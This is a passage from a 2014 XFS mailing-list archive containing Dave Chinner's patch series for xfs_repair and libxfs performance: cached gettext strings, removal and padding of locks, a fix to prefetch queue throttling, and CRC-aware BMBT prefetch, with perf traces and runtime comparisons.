to support the _() string mechanism: # Samples: 34K of event 'cs' # Event count (approx.): 495567 # # Overhead Command Shared Object Symbol # ........ ............. ................. .............. # 60.30% xfs_repair [kernel.kallsyms] [k] __schedule | --- 0x63fffff9c process_bmbt_reclist_int | |--39.95%-- __dcigettext | __lll_lock_wait | system_call_fastpath | SyS_futex | do_futex | futex_wait | futex_wait_queue_me | schedule | __schedule | |--8.91%-- __lll_lock_wait | system_call_fastpath | SyS_futex | do_futex | futex_wait | futex_wait_queue_me | schedule | __schedule --51.13%-- [...] Fix this by initialising global variables that hold the translated strings at startup, hence avoiding the need to do repeated runtime translation of the same strings. Runtime of an unpatched xfs_repair is roughly: XFS_REPAIR Summary Fri Dec 6 11:15:50 2013 Phase Start End Duration Phase 1: 12/06 10:56:21 12/06 10:56:21 Phase 2: 12/06 10:56:21 12/06 10:56:23 2 seconds Phase 3: 12/06 10:56:23 12/06 11:01:31 5 minutes, 8 seconds Phase 4: 12/06 11:01:31 12/06 11:07:08 5 minutes, 37 seconds Phase 5: 12/06 11:07:08 12/06 11:07:09 1 second Phase 6: 12/06 11:07:09 12/06 11:15:49 8 minutes, 40 seconds Phase 7: 12/06 11:15:49 12/06 11:15:50 1 second Total run time: 19 minutes, 29 seconds Patched version: Phase Start End Duration Phase 1: 12/06 10:36:29 12/06 10:36:29 Phase 2: 12/06 10:36:29 12/06 10:36:31 2 seconds Phase 3: 12/06 10:36:31 12/06 10:40:08 3 minutes, 37 seconds Phase 4: 12/06 10:40:08 12/06 10:43:42 3 minutes, 34 seconds Phase 5: 12/06 10:43:42 12/06 10:43:42 Phase 6: 12/06 10:43:42 12/06 10:50:28 6 minutes, 46 seconds Phase 7: 12/06 10:50:28 12/06 10:50:29 1 second Total run time: 14 minutes Big win! Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Brian Foster --- repair/dinode.c | 49 +++++++++++++++++++++++++++++++++++-------------- repair/dinode.h | 3 +++ repair/scan.c | 7 +------ repair/xfs_repair.c | 2 ++ 4 files changed, 41 insertions(+), 20 deletions(-) diff --git a/repair/dinode.c b/repair/dinode.c index 3115bd0..4953a56 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -32,6 +32,37 @@ #include "threads.h" /* + * gettext lookups for translations of strings use mutexes internally to + * the library. Hence when we come through here doing parallel scans in + * multiple AGs, then all do concurrent text conversions and serialise + * on the translation string lookups. Let's avoid doing repeated lookups + * by making them static variables and only assigning the translation + * once. + */ +static char *forkname_data; +static char *forkname_attr; +static char *ftype_real_time; +static char *ftype_regular; + +void +dinode_bmbt_translation_init(void) +{ + forkname_data = _("data"); + forkname_attr = _("attr"); + ftype_real_time = _("real-time"); + ftype_regular = _("regular"); +} + +char * +get_forkname(int whichfork) +{ + + if (whichfork == XFS_DATA_FORK) + return forkname_data; + return forkname_attr; +} + +/* * inode clearing routines */ @@ -542,7 +573,7 @@ process_bmbt_reclist_int( xfs_dfiloff_t op = 0; /* prev offset */ xfs_dfsbno_t b; char *ftype; - char *forkname; + char *forkname = get_forkname(whichfork); int i; int state; xfs_agnumber_t agno; @@ -552,15 +583,10 @@ process_bmbt_reclist_int( xfs_agnumber_t locked_agno = -1; int error = 1; - if (whichfork == XFS_DATA_FORK) - forkname = _("data"); - else - forkname = _("attr"); - if (type == XR_INO_RTDATA) - ftype = _("real-time"); + ftype = ftype_real_time; else - ftype = _("regular"); + ftype = ftype_regular; for (i = 0; i < *numrecs; i++) { libxfs_bmbt_disk_get_all(rp + i, &irec); @@ -1110,7 +1136,7 @@ process_btinode( xfs_ino_t lino; xfs_bmbt_ptr_t *pp; xfs_bmbt_key_t *pkey; - char *forkname; + char *forkname = get_forkname(whichfork); int i; int level; int numrecs; @@ -1122,11 +1148,6 @@ process_btinode( *tot = 0; *nex = 0; - if (whichfork == XFS_DATA_FORK) - forkname = _("data"); - else - forkname = _("attr"); - magic = xfs_sb_version_hascrc(&mp->m_sb) ? XFS_BMAP_CRC_MAGIC : XFS_BMAP_MAGIC; diff --git a/repair/dinode.h b/repair/dinode.h index d9197c1..7521521 100644 --- a/repair/dinode.h +++ b/repair/dinode.h @@ -127,4 +127,7 @@ get_bmapi(xfs_mount_t *mp, xfs_dfiloff_t bno, int whichfork ); +void dinode_bmbt_translation_init(void); +char * get_forkname(int whichfork); + #endif /* _XR_DINODE_H */ diff --git a/repair/scan.c b/repair/scan.c index 73b4581..b12f48b 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -171,17 +171,12 @@ scan_bmapbt( xfs_bmbt_rec_t *rp; xfs_dfiloff_t first_key; xfs_dfiloff_t last_key; - char *forkname; + char *forkname = get_forkname(whichfork); int numrecs; xfs_agnumber_t agno; xfs_agblock_t agbno; int state; - if (whichfork == XFS_DATA_FORK) - forkname = _("data"); - else - forkname = _("attr"); - /* * unlike the ag freeblock btrees, if anything looks wrong * in an inode bmap tree, just bail. it's possible that diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 9e0502a..bac334f 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -29,6 +29,7 @@ #include "prefetch.h" #include "threads.h" #include "progress.h" +#include "dinode.h" #define rounddown(x, y) (((x)/(y))*(y)) @@ -533,6 +534,7 @@ main(int argc, char **argv) setlocale(LC_ALL, ""); bindtextdomain(PACKAGE, LOCALEDIR); textdomain(PACKAGE); + dinode_bmbt_translation_init(); temp_mp = &xfs_m; setbuf(stdout, NULL); -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1A35B7F52 for ; Thu, 27 Feb 2014 03:51:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0901C304051 for ; Thu, 27 Feb 2014 01:51:34 -0800 (PST) X-ASG-Debug-ID: 1393494692-04cbb066e493740001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id lHbTsH0GWFCRzxC2 for ; Thu, 27 Feb 2014 01:51:33 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQUnLzMIGDE5AxsZh3jKQheOcYQhBKphg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bz-D5 for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007sb-C8 for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/10] libxfs: remove a couple of locks Date: Thu, 27 Feb 2014 20:51:15 +1100 X-ASG-Orig-Subj: [PATCH 10/10] libxfs: remove a couple of locks Message-Id: <1393494675-30194-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494692 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner THe libxfs cache has a lot of false scalability about it. I can't get lookups to scale past about one and half CPUs, with one of the key problems being a preponderance of global locks. Like just after doing a hash lookup, that is careful only to take the hash chain lock, it takes a global cache lock to update the cache hit statistic. Scalable? Not at all. The node priority stuff is protected by the object locks (i.e the buffer lock) and so it doesn't need locks, either. This doesn't do very much to improve scalability, but it's a small start. Signed-off-by: Dave Chinner --- libxfs/cache.c | 6 ------ 1 file changed, 6 deletions(-) diff --git a/libxfs/cache.c b/libxfs/cache.c index dc69689..9f7f8f4 100644 --- a/libxfs/cache.c +++ b/libxfs/cache.c @@ -391,9 +391,7 @@ cache_node_get( pthread_mutex_unlock(&node->cn_mutex); pthread_mutex_unlock(&hash->ch_mutex); - pthread_mutex_lock(&cache->c_mutex); cache->c_hits++; - pthread_mutex_unlock(&cache->c_mutex); *nodep = node; return 0; @@ -482,10 +480,8 @@ cache_node_set_priority( else if (priority > CACHE_MAX_PRIORITY) priority = CACHE_MAX_PRIORITY; - pthread_mutex_lock(&node->cn_mutex); ASSERT(node->cn_count > 0); node->cn_priority = priority; - pthread_mutex_unlock(&node->cn_mutex); } int @@ -494,9 +490,7 @@ cache_node_get_priority( { int priority; - pthread_mutex_lock(&node->cn_mutex); priority = node->cn_priority; - pthread_mutex_unlock(&node->cn_mutex); return priority; } -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 25CAF7F56 for ; Thu, 27 Feb 2014 03:51:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 120B730406A for ; Thu, 27 Feb 2014 01:51:36 -0800 (PST) X-ASG-Debug-ID: 1393494690-04cb6c567693590003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id mL97Gdnw5qnVNBbP for ; Thu, 27 Feb 2014 01:51:34 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQUnLzMIGDE5AxsZh3jKQheTEgSqYYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bj-85 for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007rx-6n for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/10] repair: per AG locks contend for cachelines Date: Thu, 27 Feb 2014 20:51:07 +1100 X-ASG-Orig-Subj: [PATCH 02/10] repair: per AG locks contend for cachelines Message-Id: <1393494675-30194-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494693 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The per-ag locks used to protect per-ag block lists are located in a tightly packed array. That means that they share cachelines, so separate them out inot separate 64 byte regions in the array. pahole confirms the padding is correctly applied: struct aglock { pthread_mutex_t lock; /* 0 40 */ /* size: 64, cachelines: 1, members: 1 */ /* padding: 24 */ }; Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Brian Foster --- repair/dino_chunks.c | 24 ++++++++++++------------ repair/dinode.c | 6 +++--- repair/globals.h | 5 ++++- repair/incore.c | 4 ++-- repair/scan.c | 4 ++-- 5 files changed, 23 insertions(+), 20 deletions(-) diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c index 65281e4..afb26e0 100644 --- a/repair/dino_chunks.c +++ b/repair/dino_chunks.c @@ -141,7 +141,7 @@ verify_inode_chunk(xfs_mount_t *mp, if (check_aginode_block(mp, agno, agino) == 0) return 0; - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { @@ -166,7 +166,7 @@ verify_inode_chunk(xfs_mount_t *mp, _("inode block %d/%d multiply claimed, (state %d)\n"), agno, agbno, state); set_bmap(agno, agbno, XR_E_MULT); - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return(0); default: do_warn( @@ -176,7 +176,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); start_agino = XFS_OFFBNO_TO_AGINO(mp, agbno, 0); *start_ino = XFS_AGINO_TO_INO(mp, agno, start_agino); @@ -424,7 +424,7 @@ verify_inode_chunk(xfs_mount_t *mp, * user data -- we're probably here as a result of a directory * entry or an iunlinked pointer */ - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); for (cur_agbno = chunk_start_agbno; cur_agbno < chunk_stop_agbno; cur_agbno += blen) { @@ -438,7 +438,7 @@ verify_inode_chunk(xfs_mount_t *mp, _("inode block %d/%d multiply claimed, (state %d)\n"), agno, cur_agbno, state); set_bmap_ext(agno, cur_agbno, blen, XR_E_MULT); - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return 0; case XR_E_INO: do_error( @@ -449,7 +449,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); /* * ok, chunk is good. put the record into the tree if required, @@ -472,7 +472,7 @@ verify_inode_chunk(xfs_mount_t *mp, set_inode_used(irec_p, agino - start_agino); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); for (cur_agbno = chunk_start_agbno; cur_agbno < chunk_stop_agbno; @@ -505,7 +505,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return(ino_cnt); } @@ -736,7 +736,7 @@ process_inode_chunk( /* * mark block as an inode block in the incore bitmap */ - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_INO: /* already marked */ @@ -755,7 +755,7 @@ process_inode_chunk( XFS_AGB_TO_FSB(mp, agno, agbno), state); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); for (;;) { /* @@ -925,7 +925,7 @@ process_inode_chunk( ibuf_offset = 0; agbno++; - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_INO: /* already marked */ @@ -946,7 +946,7 @@ process_inode_chunk( XFS_AGB_TO_FSB(mp, agno, agbno), state); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); } else if (irec_offset == XFS_INODES_PER_CHUNK) { /* diff --git a/repair/dinode.c b/repair/dinode.c index 4953a56..48f17ac 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -707,8 +707,8 @@ _("Fatal error: inode %" PRIu64 " - blkmap_set_ext(): %s\n" ebno = agbno + irec.br_blockcount; if (agno != locked_agno) { if (locked_agno != -1) - pthread_mutex_unlock(&ag_locks[locked_agno]); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[locked_agno].lock); + pthread_mutex_lock(&ag_locks[agno].lock); locked_agno = agno; } @@ -777,7 +777,7 @@ _("illegal state %d in block map %" PRIu64 "\n"), error = 0; done: if (locked_agno != -1) - pthread_mutex_unlock(&ag_locks[locked_agno]); + pthread_mutex_unlock(&ag_locks[locked_agno].lock); if (i != *numrecs) { ASSERT(i < *numrecs); diff --git a/repair/globals.h b/repair/globals.h index aef8b79..cbb2ce7 100644 --- a/repair/globals.h +++ b/repair/globals.h @@ -186,7 +186,10 @@ EXTERN xfs_extlen_t sb_inoalignmt; EXTERN __uint32_t sb_unit; EXTERN __uint32_t sb_width; -EXTERN pthread_mutex_t *ag_locks; +struct aglock { + pthread_mutex_t lock __attribute__((__aligned__(64))); +}; +EXTERN struct aglock *ag_locks; EXTERN int report_interval; EXTERN __uint64_t *prog_rpt_done; diff --git a/repair/incore.c b/repair/incore.c index 3590464..a8d497e 100644 --- a/repair/incore.c +++ b/repair/incore.c @@ -294,13 +294,13 @@ init_bmaps(xfs_mount_t *mp) if (!ag_bmap) do_error(_("couldn't allocate block map btree roots\n")); - ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(pthread_mutex_t)); + ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(struct aglock)); if (!ag_locks) do_error(_("couldn't allocate block map locks\n")); for (i = 0; i < mp->m_sb.sb_agcount; i++) { btree_init(&ag_bmap[i]); - pthread_mutex_init(&ag_locks[i], NULL); + pthread_mutex_init(&ag_locks[i].lock, NULL); } init_rt_bmap(mp); diff --git a/repair/scan.c b/repair/scan.c index b12f48b..f1411a2 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -268,7 +268,7 @@ _("bad back (left) sibling pointer (saw %llu should be NULL (0))\n" agno = XFS_FSB_TO_AGNO(mp, bno); agbno = XFS_FSB_TO_AGBNO(mp, bno); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_UNKNOWN: @@ -314,7 +314,7 @@ _("bad state %d, inode %" PRIu64 " bmap block 0x%" PRIx64 "\n"), state, ino, bno); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); } else { /* * attribute fork for realtime files is in the regular -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6AD8B7F57 for ; Thu, 27 Feb 2014 03:51:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 10895AC003 for ; Thu, 27 Feb 2014 01:51:35 -0800 (PST) X-ASG-Debug-ID: 1393494694-04bdf05dac98a60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 5r6dcALtSwsUiYzY for ; Thu, 27 Feb 2014 01:51:34 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQUnLzMIGDE5AxsZh3jKQheNfAF0hCEEqmGDQSiBLAEf Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bo-Ab for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007sH-9V for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/10] repair: fix prefetch queue limiting Date: Thu, 27 Feb 2014 20:51:11 +1100 X-ASG-Orig-Subj: [PATCH 06/10] repair: fix prefetch queue limiting Message-Id: <1393494675-30194-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494694 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The length of the prefetch queue is limited by a semaphore. To avoid a ABBA deadlock, we only trywait on the semaphore so if we fail to get it we can kick the IO queues before sleeping. Unfortunately, the "need to sleep" detection is just a little wrong - it needs to lok at errno, not err for the EAGAIN value. Hence this queue throttling has not been working for a long time. Signed-off-by: Dave Chinner --- repair/phase6.c | 9 ++++++++- repair/prefetch.c | 2 +- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/repair/phase6.c b/repair/phase6.c index 7be68b3..63359d1 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -2999,8 +2999,15 @@ traverse_function( if (irec->ino_isa_dir == 0) continue; - if (pf_args) + if (pf_args) { sem_post(&pf_args->ra_count); +#ifdef XR_PF_TRACE + sem_getvalue(&pf_args->ra_count, &i); + pftrace( + "processing inode chunk %p in AG %d (sem count = %d)", + irec, agno, i); +#endif + } for (i = 0; i < XFS_INODES_PER_CHUNK; i++) { if (inode_isadir(irec, i)) diff --git a/repair/prefetch.c b/repair/prefetch.c index 984beda..f4f3d71 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -723,7 +723,7 @@ pf_queuing_worker( irec, args->agno, i); #endif err = sem_trywait(&args->ra_count); - if (err == EAGAIN) { + if (err < 0 && errno == EAGAIN) { /* * Kick the queue once we have reached the limit; * without this the threads processing the inodes -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E53957F56 for ; Thu, 27 Feb 2014 03:51:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C563AC004 for ; Thu, 27 Feb 2014 01:51:36 -0800 (PST) X-ASG-Debug-ID: 1393494692-04cbb066e493740002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id qY1yy4DrpBCuCkch for ; Thu, 27 Feb 2014 01:51:34 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQUnLzMIGDE5AxsZh3jKWY1wgQGEIQSqYYNBKIEsAh4G Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bt-BQ for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007sM-A9 for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/10] repair: BMBT prefetch needs to be CRC aware Date: Thu, 27 Feb 2014 20:51:12 +1100 X-ASG-Orig-Subj: [PATCH 07/10] repair: BMBT prefetch needs to be CRC aware Message-Id: <1393494675-30194-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494694 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner I'd been trying to track down a behavioural difference between non-crc and crc enabled filesystems that was resulting non-crc filesystem executing prefetch almost 3x faster than CRC filesystems. After amny ratholes, I finally stumbled on the fact that btree format directories are not being prefetched due to a missing magic number check, and it's rejecting all XFS_BMAP_CRC_MAGIC format BMBT buffers. This makes prefetch on CRC enabled filesystems behave the same as for non-CRC filesystems. The difference a single line of code can make on a 50 million inode filesystem with a single threaded prefetch enabled run is pretty amazing. It goes from 3,000 iops @ 50MB/s to 2,000 IOPS @ 800MB/s and the cache hit rate goes from 3% to 49%. The runtime difference: Unpatched: Phase Start End Duration Phase 1: 02/21 18:34:12 02/21 18:34:12 Phase 2: 02/21 18:34:12 02/21 18:34:15 3 seconds Phase 3: 02/21 18:34:15 02/21 18:40:09 5 minutes, 54 seconds Phase 4: 02/21 18:40:09 02/21 18:46:36 6 minutes, 27 seconds Phase 5: 02/21 18:46:36 02/21 18:46:37 1 second Phase 6: 02/21 18:46:37 02/21 18:52:51 6 minutes, 14 seconds Phase 7: 02/21 18:52:51 02/21 18:52:52 1 second Total run time: 18 minutes, 40 seconds Patched: Phase Start End Duration Phase 1: 02/21 19:58:23 02/21 19:58:23 Phase 2: 02/21 19:58:23 02/21 19:58:27 4 seconds Phase 3: 02/21 19:58:27 02/21 19:59:20 53 seconds Phase 4: 02/21 19:59:20 02/21 20:00:07 47 seconds Phase 5: 02/21 20:00:07 02/21 20:00:08 1 second Phase 6: 02/21 20:00:08 02/21 20:00:50 42 seconds Phase 7: 02/21 20:00:50 02/21 20:00:50 Total run time: 2 minutes, 27 seconds Is no less impressive. Shame it's just a regression fix. ;) Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig --- repair/prefetch.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/repair/prefetch.c b/repair/prefetch.c index f4f3d71..946e822 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -298,7 +298,8 @@ pf_scanfunc_bmap( /* * do some validation on the block contents */ - if ((be32_to_cpu(block->bb_magic) != XFS_BMAP_MAGIC) || + if ((block->bb_magic != cpu_to_be32(XFS_BMAP_MAGIC) && + block->bb_magic != cpu_to_be32(XFS_BMAP_CRC_MAGIC)) || (be16_to_cpu(block->bb_level) != level)) return 0; -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com 